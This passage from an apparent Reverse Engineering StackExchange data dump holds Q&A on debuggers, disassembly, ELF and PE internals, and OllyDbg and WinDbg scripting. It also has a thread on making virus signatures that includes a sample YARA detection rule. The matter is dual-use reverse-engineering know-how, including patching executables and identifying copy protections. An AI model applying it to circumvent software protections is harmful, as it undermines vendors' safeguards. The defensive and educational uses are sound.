root@box:/home/dsl/gcctests/test# cat testjt.c \nvoid naked (void)\n{\n        asm( \".globl _naked\\n\");\n        asm( \"_naked:\\n\");\n        asm( \"jmp *0x80509e4(,%eax,4)\");\n        asm( \"lea 0x0(,%ebp,8),%eax\");\n        asm( \"ret\");\n}\nint main (void)\n{\n        naked();\n        return 0;\n}\n\n\nroot@box:/home/dsl/gcctests/test# objdump -t ./testjt | grep _naked\n08048357 g       .text  00000000              _naked\n\n\nroot@box:/home/dsl/gcctests/test# objdump -d --disassembler-option=intel  ./testjt | grep -A 2 _naked\n\n\n08048357 <_naked>:\n 8048357:       ff 24 85 e4 09 05 08    jmp    DWORD PTR [eax*4+134547940]\n 804835e:       8d 04 ed 00 00 00 00    lea    eax,[ebp*8]\n\n\nroot@box:/home/dsl/gcctests/test#  \n
\n" }, { "Id": "4298", "CreationDate": "2014-05-09T00:32:46.323", "Body": "

I am trying to connect to a Windows XP Professional Virtual Machine running under Microsoft Virtual PC for debugging purposes.\nI was following the MSDN kernel mode debugging article, however bcdedit command was not being recognized on the guest machine so I added the following entry in the boot.ini file under C:\\ drive

\n\n
multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS=\"KD\" /fastdetect /debug /debugport=2 /baudrate=115200\n
\n\n

I configured the com2 port to a named pipe (\\\\.\\pipe\\pipe2)

\n\n

I enter the following command at the command prompt and turned on the virtual machine

\n\n
windbg -k com:pipe,port=\\\\.\\pipe\\Pipe2,resets=0,reconnect\n
\n\n

and I get the following output

\n\n
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nWaiting for pipe \\\\.\\pipe\\pipe2\nWaiting to reconnect...\nConnected to Windows XP 2600 x86 compatible target at (Fri May  9 05:34:23.920 2014 (UTC + 5:30)), ptr64 FALSE\nKernel Debugger connection established.\nSymbol search path is: C:\\Windows\\Symbols;srv*C:\\Windows\\Symbols*http://msdl.microsoft.com/download/symbols\nExecutable search path is: \nWindows XP Kernel Version 2600 UP Free x86 compatible\nBuilt by: 2600.xpsp_sp3_qfe.100216-1510\nMachine Name:\nKernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0\nSystem Uptime: not available\n56: ERROR: UMRxReadDWORDFromTheRegistry/ZwQueryValueKey: NtStatus = c0000034\nERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 127\n
\n\n

The status bar at the bottom says 'Debugee not connected'

\n\n

Am I missing something?

\n", "Title": "Debugging Virtual Machine using Windbg", "Tags": "|debuggers|debugging|windbg|virtual-machines|", "Answer": "

that is normal for virtual pc to say debugee not connected as it has not
\nconnectedto the target yet it has just established a transport

\n\n

press ctrl+break once to connect and press g to resume running.

\n\n

As Jason suggested get the free vmware player and configure virtualkd for a much
\nfaster debugging com port is too slow for many things especially conditinal log breaks
\nwill stall the debugger for minutes together.

\n" }, { "Id": "4306", "CreationDate": "2014-05-10T16:24:59.647", "Body": "

So basically I am trying to re-use some assembly code/data dumped by objdump from 32 bit ELF binary on Linux.

\n\n

So basically, in the disassembled binary, I found some symbol referring to .bss section like this:

\n\n
 80486b7:   mov    0x804b264,%eax   <- 0x804b264 is an addr in .bss\n 80486bc:   movl   $0x0,0x4(%esp)\n 80486c3:\n 80486c4:   mov    %eax,(%esp)\n 80486c7:   call   804876c <sum>\n
\n\n

By digging into the original source code, I find out that 0x804b264 is used for stdin in .bss section.

\n\n

IMHO, there are basically two situations on .bss section's data:

\n\n
    \n

  1. uninitialized data, will be uninitialized in the source code

    2. \n

  2. some global/system related data (such as stdin in the above situation)

    3. \n
\n\n

So when trying to re-use .bss section's data, I have tried this way:

\n\n
.section .bss\nS_0x804B260 : .byte 0x00\n           .byte 0x00\n           .byte 0x00\n          .byte 0x00\nS_0x804B264 : .byte 0x00          <- I lift addr into symbol!\n          .byte 0x00\n         .byte 0x00\n         .byte 0x00\n         .byte 0x00\n
\n\n

and in the .text section, I will also lift corresponding addr into symbol.

\n\n

same situation works fine for .rodata and .data section

\n\n

But the problem is that, there are some global variables (such as stdin stdout), locating in .bss section, while are not initialized by user defined code, which means that in my re-used asm code, this symbol variable will always be zero!

\n\n

I tried to manually substitute symbols corresponding to stdin, and it seems that it works fine.

\n\n

But the problem is that:

\n\n
    \n

  1. How can I identify which symbol in the .bss section is some variables that initialized by system? such as stdin, stdout* and others?

    2. \n

  2. If it is not possible, then is there anyway that I can enforce system to use memory in the .bss section where I want it to use?

    3. \n
\n\n

Am I clear? Could anyone give me some help?

\n", "Title": "How to reuse symbol/data defined in .bss section?", "Tags": "|disassembly|assembly|elf|reassembly|", "Answer": "

I'm afraid you're not too clear when you talk about \"reusing\" some part of a program. What exactly do you want to do? Load the original program into a debugger, then call just one single function of it? Extract a ranged of addresses and turn that into a new program? Or extract one function from the original program, possibly together with everything the function depends on, then embed that function into a larger program?

\n\n

You're wrong in one thing: the .bss section is NOT initialized at all at program start (at least not to anything but a load of \\0 bytes). The initialization of stuff like stdout is done in runtime before main() starts. Stuff that gets initialized with constant data goes into the .data segment.

\n\n

(On a side note: One of the reasons why the stdout FILE structure isn't put into .data and initialized as constants is most runtimes on unix-like systems will check if their file descriptor goes to a terminal or something else, and turn on/off buffering depending on that check).

\n\n

When you extract a part of the code, you'll have to check each reference to .data AND .bss (and to .text - the code - as well if the extracted part depends on any libraries etc.). For each of those references, you'll have to decide what to do with them - share them with the new program, keep them for the functions you extracted, whatever.

\n\n

If you're lucky, and have an unstripped executable, you can use nm to find out which symbol is where; if you're not that lucky, you'll have to disassemble/decompile everything, understand it, rewrite it into new source, and compile it together with whatever you want to embed it in.

\n" }, { "Id": "4315", "CreationDate": "2014-05-12T13:51:20.780", "Body": "

I have been involved in disassembling Android apps using baksmali and dexpler. Whenever I disassemble an app, I find the packages and package hierarchy (that would have been available in development scenario) intact. For instance, when I disassemble a task manager app (MD5: 3377f8527479ab4e72bf9fa5eec62abe), I get the package hierarchy as shown in the figure below.\"enter.

\n\n

In this context, I have the following questions,

\n\n
    \n
  1. Will this hierarchy of Java packages be preserved and retained while building apps. When we develop apps, of course, we use many packages and we put them in a hierarchy while we build the app. But, all the code written by developers will be converted into a single classes.dex file. Will the packages and package hierarchy information be retained in this classes.dex file or any other part of the apk file (like META-INF)?
    2. \n
  2. If this information is not available from .dex, where does this come from? How does every disassembling/ decompiling tool manages to extract this package hierarchy?
    3. \n
  3. Where to find documentation/ literature relevant to packages and package hierarchy in the app building process? I tried skimming thro' Android documentation in vain.
    4. \n
\n", "Title": "How do Android reverse engineering tools extract packages/ package hierarchy present in Android apps?", "Tags": "|disassembly|decompilation|static-analysis|android|", "Answer": "

The fast answer is that in Java, the fully qualified name of the class is the actual name of the class concatenated with its package. To the classloader, com.foo.Annamalai is the name it will load at runtime. This is also, subsequently why you can't have two classes of the same name in the same package.

\n\n

This will be a (semi) contrived instance, but lets pretend your app has two different logging frameworks, and you need to support both.

\n\n
import java.util.logging.Logger;\nimport org.apache.log4j.Logger;\n
\n\n

If you try this, your compiler should barf, complaining that you have two classes with the same name. Well, this version will work:

\n\n
org.apache.log4j.Logger logger4j = org.apache.log4j.Logger.getLogger(DeleteMe.class);\njava.util.logging.Logger loggingLogger = java.util.logging.Logger.getLogger(DeleteMe.class.getName());\n
\n\n

Because of this package/class naming convention, it is trivial to extract the file structure of the application for reverse-engineering purposes, because in java the package name is specified to correlate to a file structure.

\n\n

In a comment you asked about NOT using a package, well, if you did that then you would NEVER be able to use two classes of the same name--the compiler would never allow it.

\n\n

The above example would turn into this:

\n\n
Logger logger4j = Logger.getLogger(DeleteMe.class.getName());\nLogger loggingLogger = Logger.getLogger(DeleteMe.class.getName());\n
\n\n

Which Logger is the compiler going to pick if you have two on the classpath without package names?

\n" }, { "Id": "4323", "CreationDate": "2014-05-13T07:50:41.487", "Body": "

The beginning of the virtual function table (VFT, also virtual method table, VMT) disasembled by IDA goes as:

\n\n
 _ZTV13QSystemLocale DCD 0, _ZTI13QSystemLocale, _ZN13QSystemLocaleD2Ev+1, _ZN13QSystemLocaleD0Ev+1\n
\n\n

and c++filt decodes it as

\n\n
 vtable for QSystemLocale DCD 0, typeinfo for QSystemLocale, QSystemLocale::~QSystemLocale()+1, QSystemLocale::~QSystemLocale()+1\n
\n\n

Here we see _ZN13QSystemLocaleD2Ev and _ZN13QSystemLocaleD0Ev, both transformed by c++filt to QSystemLocale::~QSystemLocale().

\n\n

(+1 is normal, the bit selects the right instruction set on ARM).

\n\n

The Qt source declares:

\n\n
virtual ~QSystemLocale();\n
\n\n

Why there are two virtual destructors?

\n\n

(I work with ARM, Android NDK (gcc/g++), C++, Qt).

\n", "Title": "Why two virtual destructors?", "Tags": "|c++|android|arm|virtual-functions|", "Answer": "

According to documentation the first one is base object destructor and the second one is deleting destructor.

\n\n
Constructors and destructors are simply special cases of <unqualified-name>, where the final <unqualified-name> of a nested name is replaced by one of the following:\n\n\n  <ctor-dtor-name> ::= C1   # complete object constructor\n           ::= C2   # base object constructor\n           ::= C3   # complete object allocating constructor\n           ::= D0   # deleting destructor\n           ::= D1   # complete object destructor\n           ::= D2   # base object destructor\n
\n\n

According to ARM IHI 0041D document the difference between these destructors is as follows:

\n\n
This ABI requires C1 and C2 constructors to return this (instead of being void functions) so that a C3 constructor\ncan tail call the C1 constructor and the C1 constructor can tail call C2.\nSimilarly, we require D2 and D1 to return this so that D0 need not save and restore this and D1 can tail call D2 (if\nthere are no virtual bases). D0 is still a void function.\n
\n" }, { "Id": "4324", "CreationDate": "2014-05-13T08:41:27.717", "Body": "

I write a Portable Executable (PE) library that also provides finding the starting offset of the overlay (appended data to the PE that is not mapped into memory).

\n\n

My algorithm finding the overlay offset looks like this so far:

\n\n
public long getOverlayOffset() throws IOException {\n        if (offset == null) {\n            SectionTable table = data.getSectionTable();\n            offset = 0L;\n            for (SectionTableEntry section : table.getSectionEntries()) {\n                long pointerToRaw = section.get(POINTER_TO_RAW_DATA);\n                long sizeOfRaw = section.get(SIZE_OF_RAW_DATA);\n                long virtSize = section.get(VIRTUAL_SIZE);\n                //see https://code.google.com/p/corkami/wiki/PE#section_table: \"if bigger than virtual size, then virtual size is taken. \"\n                //and: \"a section can have a null VirtualSize: in this case, only the SizeOfRawData is taken into consideration. \"\n                if(virtSize != 0 && sizeOfRaw > virtSize) { \n                    sizeOfRaw = virtSize;\n                }\n                long endPoint = pointerToRaw + sizeOfRaw;\n                if (offset < endPoint) {\n                    offset = endPoint;\n                }\n            }\n        }\n        if(offset > file.length()) {\n            offset = file.length();\n        }\n        return offset;\n    }\n
\n\n

I used corkami as a source to get to know some of the odds in calculating the overlay offset. I do not only want it to be robust, but also accurate.\nDid I miss something? What else do I have to put into consideration?

\n\n

Note: There was a similar question here: How can one extract the appended data of a Portable Executable?\nBut it doesn't cover a reliable algorithm so far. As I understand it, using a tool suffices in that question.

\n", "Title": "Reliable algorithm to extract overlay of a PE", "Tags": "|pe|", "Answer": "

Have you considered using Microsoft's code to do it? Reverse the loader just enough to find the pointer that you're looking for once the image is loaded, stop it from executing any actual code beyond parsing the PE. The offset to your desired pointer in ntdll or wherever will be version-specific but you'll get a super-accurate parser.

\n" }, { "Id": "4336", "CreationDate": "2014-05-15T03:23:48.707", "Body": "

So basically when I am using objdump and readelf to disassemble some GNU Coreutils, I find a very weird situation like this:

\n\n
readelf -s pr | grep bkm_scale\n\n....\n176: 08050620   118 FUNC    LOCAL  DEFAULT   13 bkm_scale\n177: 080506a0    39 FUNC    LOCAL  DEFAULT   13 bkm_scale_by_power\n181: 08050a60   173 FUNC    LOCAL  DEFAULT   13 bkm_scale\n182: 08050b10    50 FUNC    LOCAL  DEFAULT   13 bkm_scale_by_power\n
\n\n

and when I disassemble pr using objdump, I do see two definition of function bkm_scale and bkm_scale_by_power, and their disassembled asm code are different.

\n\n

So does it indicate some disassemble error? If not, then why there are two FUNC symbols have the same name?

\n", "Title": "conflict function name using objdump to disassemble", "Tags": "|disassembly|objdump|reassembly|", "Answer": "

Looks like those are LOCAL definitions, perhaps defined in two places to allow slightly different versions to be used. They're not global functions, which would be constrained to only appear (or be defined) once.

\n\n

Perhaps defined in several files, statically, so they're only used (or scoped to) in that particular file.

\n\n

I don't see those functions in the output of readelf -s, or objdump on my system's installed 'pr'. I imagine you've compiled the coreutils yourself?

\n\n

Since you're playing with the source code of 'pr', you could grep for bkm_scale and bkm_scale_by_power to see where they're used and defined.

\n\n

Keep exploring! Keep learning!

\n" }, { "Id": "4337", "CreationDate": "2014-05-15T07:51:30.640", "Body": "

I'm working with IDA pro on a kernel mode function (VMware + windbg) and I'm a annoying because I can't save the workstation state. IDA crash after 3 hours when I \"quit and save memory status\".\nIs there a plugin or anything else that could make me able to save my work (variables rename, commentaries and others) ?\nThanks for reading (and answers =)

\n", "Title": "IDA - save work on kernel mode debugging", "Tags": "|ida|dynamic-analysis|kernel-mode|", "Answer": "

I solved my problem with IDC files and VM snapshot =)\nI'm on IDA 6.4 and the snapshot function doesn't work in live debugging. \nMy solution is to take a snapshot of my virtual machine (on VMware workstation) to have everytime the same kernel state. When I wanna reload my work, I begin to load the virtual machine snapshot then I attach IDA to my virtual machine with windbg and finally I can load my IDC file using the script file option.

\n\n

Thank you very much for you answer, it really was helpful !

\n" }, { "Id": "4339", "CreationDate": "2014-05-15T13:30:21.923", "Body": "

What are some good programs that can detect which protection software has been used on or in other programs and their libraries?

\n", "Title": "What program can I use to detect protections used on a program and its libraries?", "Tags": "|anti-debugging|packers|copy-protection|protection|", "Answer": "

I've found Protection ID to be fast and comprehensive (last update in late 2013).

\n" }, { "Id": "4345", "CreationDate": "2014-05-16T05:52:00.173", "Body": "

I'm wanting to have olly run a program and break when a particular memory location equals a given value. For instance, if I could have it run until the value at address 0xFB2D0024 == 0xE9, and then break immediately when that assignment occurs. Please let me know if this is possible!

\n\n

The \"conditional\" breaks I found in here did not work, or rather when I right clicked -> breakpoint -> Conditional, and then entered a condition, the program simply broke at the instruction where I right-clicked, regardless of the condition, and not when the condition occurred.

\n\n

The closest I can get is right clicking on a particular memory value (in the memory dump) -> breakpoint -> Memory, on write, but this breaks every time a change is made, and not when a specific value is set. Any help would be great! Thanks!

\n", "Title": "OllyDbg Break when memory equals value", "Tags": "|ollydbg|", "Answer": "

You can write script for ODbgScript plugin,

\n\n

It might look like this:

\n\n
VAR pDest\nVAR Val\n\nmov pDest, FB2D0024 // dest address\nmov Val, E9 // val to look for\n\nbpwm pDest, 4 // set bp on writing DWORD (4bytes) value.\n__lbl_loop:\nerun\ncmp [pDest], Val\njne __lbl_loop\nbpmc\nLOG \"Catched ^(._.^)\"\n
\n" }, { "Id": "4349", "CreationDate": "2014-05-16T16:55:14.417", "Body": "

So basically I am working on some tripped dynamic linked ELF binaries (32 bit Linux x86), using objdump to disassemble them, modifying and trying to reassemble them.

\n\n

In the unstripped binary, we can get the beginning address of main function based on the symbol table, however, on the stripped binary, we just don't know where the main function is.

\n\n

Of course I can just adjust the whole text section, and starting from the original entry point of the ELF.

\n\n

But the problems are:

\n\n
    \n

  1. There is some control transfer from the prologue/epilog of this ELF (such as _start; __do_global_dtors_aux; __libc_csu_fini; __i686.get_pc_thunk.bx; __do_global_ctors_aux) into the .dtors,.ctorssection, which means I have to also disassemble this section.

    2. \n

  2. I am afraid that if I start from entry point in the re-assembled ELF, then I would probably double-init some stuff, because in my re-assembled asm code, I have the code of _start; __do_global_dtors_aux; __libc_csu_fini while linker will also attach these functions in the new ELF.

    3. \n
\n\n

So I would like to use some way to identify the main function in a stripped ELF (heuristically)...

\n\n

Right now I don't have some strategies on this issue, Could anyone give me some help?

\n", "Title": "Is it possible to (heuristic) identify the begin addr of main function in a stripped ELF?", "Tags": "|disassembly|x86|elf|reassembly|", "Answer": "

The catch is to determine whether the image in question uses a \"standard\" C runtime library of sorts (glibc, musl, uclibc) or not. If it does, then you can grab the entry point address and match the code at that address against your collection of startup routines from those libraries and pinpoint the main() location as you'd know which call is the one transferring control to main().

\n\n

Then, the image might not be linked against any well-known C runtime, say, if it's a code piece that directly invokes kernel syscalls or if it managed to whip its own CRT library.

\n\n

Another good point would be if the program wasn't written in C at all and uses some other fancy language, but that seems to be outside the scope of the question as main() won't be relevant for those, I guess.

\n" }, { "Id": "4353", "CreationDate": "2014-05-17T01:37:44.007", "Body": "

I'm wondering if there's a way to compare source code to the disassembled assembly in IDA Pro? (e.g. I compile hello.c in Linux then open the binary in IDA Pro in OS X, and would like to compare the assembly with the source so make it easier to find out what's going on). Does such a feature exist?

\n\n

ADDED From Comment:\nBy the way, I forgot to mention, I am in OS-X and the binary was compiled by Lunux

\n", "Title": "How do you compare C source code with the corresponding binary's assembly in IDA Pro?", "Tags": "|ida|disassembly|assembly|c|disassemblers|", "Answer": "

You can compile your file with DWARF information in it, since IDA supports it:

\n\n

\"DWARF

\n" }, { "Id": "4362", "CreationDate": "2014-05-18T02:57:17.370", "Body": "

How can I view the XMM0-XMM7 registers within OllyDbg? I can right click on the registers window and go to view MMX registers, but I'm not exactly sure that these are the same. I see an instruction: MOVSS DWORD PTR DS:[ESI+8],XMM0 and as step through that instruction, the value shown in MM0 on the register window does not become the value stored at [ESI+8].

\n\n

So, I suppose another question is: Are the XMM0 and MM0 registers different?

\n", "Title": "OllyDbg and XMM0 vs MM0 registers", "Tags": "|ollydbg|", "Answer": "

To answer properly your question, yes. xmm registers were introduced by Intel with the SSE instruction set (IS) in 1999 with the Pentium III CPU. SSE stands for Streaming SIMD Extension and is a set of vector instructions. xmm registers are 128bit wide and can hold 4 floats, 2 doubles, or 16 chars. SSE can speed up signal processing applications (image processing, sound processing, compression, ...), encryption, and others quite dramatically when used properly.

\n\n

On the other hand, mm registers are part of the MMX IS, another vector instruction set older than SSE (1997 I suppose), and are 64bit wide. \nNowadays the vector instruction sets are becoming quite a fashion in a certain way (vector CPUs were the standard for supercomputers back in the 70s & 80s - Cray's, ThinkingMachine's, ... computer were all vector based). In the past few years, Intel came up with many versions of SSE and two new IS called AVX & AVX2 (Advanced Vector Extension) with 256bit wide vectors implemented on SandyBridge/IvyBridge/Haswell, and AVX-512 first implemented on the KNC (Knight's Corner) of the Xeon Phi processor & co-processor line.

\n\n

I encourage you to check the Intel documentation & Wikipedia for more information.

\n" }, { "Id": "4363", "CreationDate": "2014-05-18T03:42:50.823", "Body": "

Here is a sample function reverse engineered from an easy program:

\n\n
main            proc near\nvar_70          = dword ptr -70h\nvar_6C          = dword ptr -6Ch\nvar_68          = dword ptr -68h\ni_2             = dword ptr -54h\ni               = dword ptr -4\npush    ebp\nmov     ebp, esp\nand     esp, 0FFFFFFF0h\nsub     esp, 70h\nmov     [esp+70h+i], 0\njmp     short loc_804840A\n\ufffc\ufffc\ufffcloc_80483F7:\nmov     eax, [esp+70h+i]\nmov     edx, [esp+70h+i]\nadd     edx, edx\nmov     [esp+eax*4+70h+i_2], edx\nadd     [esp+70h+i], 1\nloc_804840A:\ncmp     [esp+70h+i], 13h\njle     short loc_80483F7\nmov     [esp+70h+i], 0\njmp     short loc_8048441\nloc_804841B:\nmov    eax, [esp+70h+i]\nmov    edx, [esp+eax*4+70h+i_2]\nmov    eax, offset aADD ; \"a[%d]=%d\\n\"\nmov    [esp+70h+var_68], edx\nmov    edx, [esp+70h+i]\nmov    [esp+70h+var_6C], edx\nmov    [esp+70h+var_70], eax\ncall   _printf\nadd    [esp+70h+i], 1\nloc_8048441:\ncmp    [esp+70h+i], 13h\njle     short loc_804841B\nmov    eax, 0\nleave \nretn\nmain   endp\n\nC code\n\n#include <stdio.h>\nint main() {\n    int a[20];\n    int i;\n    for (i=0; i<20; i++)\n        a[i]=i*2;\n    for (i=0; i<20; i++)\n        printf (\"a[%d]=%d\\n\", i, a[i]);\n    return 0;\n}\n
\n\n

My questions are:

\n\n
    \n

  1. Why is memory not allocated consecutively and why are some parts of the memory in between esp + 70h -54h and esp + 70h -68h not used?

    2. \n

  2. In sub esp, 70h, the number 70h seems to be a random number in a different program, and it is often larger than we need. Why don't the compiler just allocate what we need?

    3. \n
\n", "Title": "Memory allocation on the stack", "Tags": "|assembly|memory|stack-variables|", "Answer": "

In your case because int is 4 bytes and you want 20 element

\n\n
int a[20] // --> 20 * 4 = 0x50\n
\n\n

so it is very normal for i and i_2

\n\n

The other thing is that your compiler didn't push printf arguments into stack. It pre-allocated the stack location in

\n\n
var_70 = dword ptr -70h\nvar_6C = dword ptr -6Ch\nvar_68 = dword ptr -68h\n
\n\n

and called the function like this

\n\n
mov    edx, [esp+eax*4+70h+i_2]\nmov    eax, offset aADD ; \"a[%d]=%d\\n\"\nmov    [esp+70h+var_68], edx\nmov    edx, [esp+70h+i]\nmov    [esp+70h+var_6C], edx\nmov    [esp+70h+var_70], eax\ncall   _printf\n
\n\n

But there is 2 reason for such a thing (not your case)...

\n\n
    \n

  1. The Compiler align the buffer for performance reasons and ease of cache.\nin addition unaligned buffers cause failure in some cases like Windows API calls and make debugging hard, so the compilers align every buffer to avoid this kind of failure.

    2. \n

  2. Some safe compilation allocate random number after buffers to prevent successful exploitation of buffer overruns. for example:

    \n\n

    and esp, 0FFFFFFF0h

    3. \n
\n\n
\n\n

yeap! as @DCoder commented, you asked it Here before.

\n" }, { "Id": "4377", "CreationDate": "2014-05-19T18:56:12.923", "Body": "

Lets say I want to find all the

\n\n
MOV EAX, 1234h\nMOV WORD PTR[EBP+ADDR], AX\n
\n\n

But it won't be always EAX or EBP+ADDR

\n\n

How do I wildcard search like

\n\n
MOV ???, 1234h\nMOV WORD PTR[???+ADDR], ??\n
\n\n

I tried

\n\n
MOV ANY, 1234h\nMOV WORD PTR[ANY+ADDR], ANY\n\nMOV ?, 1234h\nMOV WORD PTR[ANY+ADDR], ?\n\nMOV r32, 1234h\nMOV WORD PTR[r32+ADDR], r16\n
\n\n

None of these patterns compile in Ollydebugger how do I do this? (I would like to avoid scripts for such a easy task.

\n\n

This one below compiles and works,

\n\n
MOV r32, 0x1234\n
\n\n

but how do I combine it with

\n\n
MOV WORD PTR[r32+ADDR], r16\n
\n", "Title": "OllyDebugger How to use Find Sequence of commands with wildcard 32bit registers", "Tags": "|ollydbg|", "Answer": "

ollydbg 1.10 right click Search For All Sequences wildcard MOV R32 , CONST

\n\n

result from calc.exe xp sp3 32 bit vm

\n\n
Found sequences\nAddress                    Disassembly                            Comment\n01001004 <&ADVAPI32.RegQu  DD      ADVAPI32.RegQueryValueExA      (Initial CPU selection)\n010019E5                   MOV     EDI, OFFSET calc.ghnoParNum    01014C08=OFFSET calc.ghnoParNum\n010019EF                   MOV     EDI, OFFSET calc.ghnoPrecNum   01014C70=OFFSET calc.ghnoPrecNum\n01001A6B                   MOV     EBX, calc.010012A0             UNICODE \"intl\"\n01001D51                   MOV     ESI, 130\n01001DDF                   MOV     EAX, OFFSET calc.szBlank       01014DA4=OFFSET calc.szBlank\n01001DE6                   MOV     EAX, calc.01001264             UNICODE \" M\"\n01001F51 calc.WinMain      MOV     EAX, calc.010128EE             10128EE=calc.010128EE\n01001FED                   MOV     ESI, 400\n010020A2                   MOV     EAX, calc.010020A8             010020A8=calc.010020A8\n010020D5                   MOV     EAX, 80000000\n0100210A                   MOV     EDI, OFFSET calc.szAppName     UNICODE \"SciCalc\"\n
\n\n

combined wild card

\n\n

MOV WORD PTR [R32+CONST] , R16

\n\n
Found sequences\nAddress        Disassembly                                     Comment\n01001F6E       MOV     WORD PTR SS:[EBP-FC], BX\n01002234       MOV     WORD PTR DS:[EAX+EDX*2+14], DI\n0100230D       MOV     WORD PTR DS:[ESI+EAX*2+14], DI\n0100231C       MOV     WORD PTR DS:[ESI+EAX*2+A4], DI\n01002358       MOV     WORD PTR SS:[EBP+EDI*2-108], AX\n01002376       MOV     WORD PTR SS:[EBP+EDI*2-108], AX\n01002470       MOV     WORD PTR DS:[ECX+EAX*2+C], BX\n010024AF       MOV     WORD PTR DS:[ECX+ESI*2+C], BX\n0100251D       MOV     WORD PTR DS:[EAX+ECX*2+14], DX\n010025AA       MOV     WORD PTR DS:[ECX+EAX*2+14], DX\n0100404D       MOV     WORD PTR SS:[EBP+EAX*2-74], BX\n010056E0       MOV     WORD PTR SS:[EBP+8], AX\n010056F4       MOV     WORD PTR SS:[EBP+A], BX\n01012475 calc  PUSH    70                              (Initial CPU selection)\n
\n\n

edit to address comment

\n\n

you dont need the WORD ptr simply doing
\nmov [R32+CONST] ,R16
\nwill fetch the same results
\nollydbg implicitly knows R!6 means word ptr instead of R16
\nif you provide r32 ollydbg will decode it as DWORD PTR

\n\n
Found sequences, item 1\n Address=010017E7\n Disassembly=MOV     DWORD PTR SS:[EBP-2C], ESI\n
\n\n

provide mov [CONST} , R8 and you get back all BYTE PTR Sequences

\n\n
Found sequences, item 1\n Address=0100AC75\n Disassembly=MOV     BYTE PTR DS:[ftrueinfinite], BL\n
\n" }, { "Id": "4381", "CreationDate": "2014-05-20T03:56:17.213", "Body": "

Whenever I save an executable in OllyDBG (Right-click, Copy to executable, All modifications then Save File), the saved executable asks for administrator privileges when I run it.

\n\n

I tried opening OllyDBG as a regular user and then saving the file, but no luck. I also tried manipulating the file's permissions, but no luck either.

\n\n

Is there a way to save a file so that regular users can run it?

\n", "Title": "OllyDBG causes executables saved by it to ask for administrator privileges when run", "Tags": "|ollydbg|executable|", "Answer": "

UAC has certain heuristics that will cause a file to request elevation unless a manifest exists that states otherwise. Such heuristics include files that seem to be setup programs for some software. But there are more heuristics and other situations where elevation is assumed to be required.

\n\n

If the executable has no manifest, you need to add one. Otherwise you may have to modify the existing one.

\n\n

You can tell by loading it into a resource editor or resource viewer such as:

\n\n\n\n

... and so on. Check out the answers to this question: Freely available resource hacking applications ...

\n\n

Workarounds are:

\n\n\n\n

Unfortunately this is somewhat of a science to get right.

\n" }, { "Id": "4384", "CreationDate": "2014-05-20T10:22:15.640", "Body": "

I want to break the debugee as it opens a known file, using windbg. As $scmp doesn't accept direct address, I have to use as (windbg alias command). So, I put a conditional breakpoint at CreateFileA:

\n\n
bu Kernel32!CreateFileA \"as /ma ${/v:fName} poi(esp+4);.echo ${fName};...;g\"\n
\n\n

It always prints the same (first) file name. I also tried script files

\n\n
bu ... \"$>< bpCmd\"\nbu ... \"$$>< bpCmd\"\n
\n\n

bpCmd content:

\n\n
as /ma ${/v:fName} poi(esp+4);\n.echo ${fName};\n...\ng;\n
\n\n

It didn't work as well.

\n\n

So, why as doesn't work in log breakpoints?

\n", "Title": "Windbg 'as' command in log breakpoint", "Tags": "|windbg|", "Answer": "

The alias needs to be evaluated everytime the break point is hit
\nelse it will print the old alias only
\nto force alias evaluation` enclose the .echo and other commands inside a .block{}

\n\n
crefil:\\>dir /b\nCreateFile.cpp    \ncrefil:\\>type CreateFile.cpp\n#include <stdio.h>\n#include <windows.h>\nint main (void)\n{\n    PWIN32_FIND_DATA lpFindFileData = \n            (PWIN32_FIND_DATA) calloc(1 , sizeof( WIN32_FIND_DATA));\n    FILE *fp;\n    errno_t err;\n    if (lpFindFileData)\n    {\n        HANDLE hFind = FindFirstFile(\"*.*\",lpFindFileData);\n        if ( hFind != INVALID_HANDLE_VALUE )\n        {\n            do\n            {\n                printf(\"%s\\n\",lpFindFileData->cFileName);\n                if ( (err = fopen_s(&fp,lpFindFileData->cFileName,\"rb\") ) == 0 )\n\n                    if (fp)\n                        fclose(fp);\n            }while( ( FindNextFile(hFind,lpFindFileData) ) != FALSE );\n            FindClose(hFind);\n            free(lpFindFileData);\n        }\n    }\n    return 0;\n}\n
\n\n

as in windbg conditional breakpoint

\n\n

crefil:>cdb -c \"bp kernel32!CreateFileA \\\"as /ma ${/v:fname} poi(@esp+4);.block\n { .echo fname };gc\\\";g;q\" CreateFile.exe

\n\n
0:000> cdb: Reading initial command 'bp kernel32!CreateFileA \"as /ma ${/v:fname}\n poi(@esp+4);.block { .echo fname };gc\";g;q'\n.\n..\nCreateFile.cpp\nCreateFile.exe\nCreateFile.obj\nCreateFile.pdb\n vc100.pdb\nquit:\n
\n" }, { "Id": "4393", "CreationDate": "2014-05-21T06:21:27.400", "Body": "

I have a problem where I have to create a virus signature for the Stoned Virus (Although this could apply to any virus/file).

\n\n

Let's assume I have a copy of the compiled and decompiled program. I then proceed to identify the most important parts of the virus, that will always be present, in the code. As I understand it I now have to find the corresponding bytes in the compiled virus in order to create a byte signature for that critical part of the virus.

\n\n

How do I proceed to find the corresponding bytes in the compiled source from the code that I identified in the decompiled version?

\n\n

Extra:

\n\n\n\n

EDIT:

\n\n

The purpose of this is to be able to create virus signatures that can be used to scan a file system to find infected files as well as possibly infected files and variations of the virus code. For this reason I cannot simply use a hash of the entire file and I need to use specific parts of the virus. I can identify those parts but I do not know how to find the matching bytes in the machine code for the viral parts I identified.

\n", "Title": "How to create a virus signature from decompiled source", "Tags": "|disassembly|assembly|byte-code|malware|", "Answer": "

There are a number of ways to do this. Some people new to signature scanning use MD5 hashes of the entire file. This is VERY flawed, due to the switching of registers or even just the timestamp of the file would change the entire signature.

\n\n

Another method often used is YARA ( http://plusvic.github.io/yara/ ).\nA good example from their webpage:

\n\n
rule silent_banker : banker\n{\n    meta:\n        description = \"This is just an example\"\n        thread_level = 3\n        in_the_wild = true\n\n    strings:\n        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}\n        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}\n        $c = \"UVODFRYSIHLNWPEJXQZAKCBGMT\"\n\n    condition:\n        $a or $b or $c\n}\n
\n\n

Here they say that one of the A, B or C bytes should be within the file.

\n\n

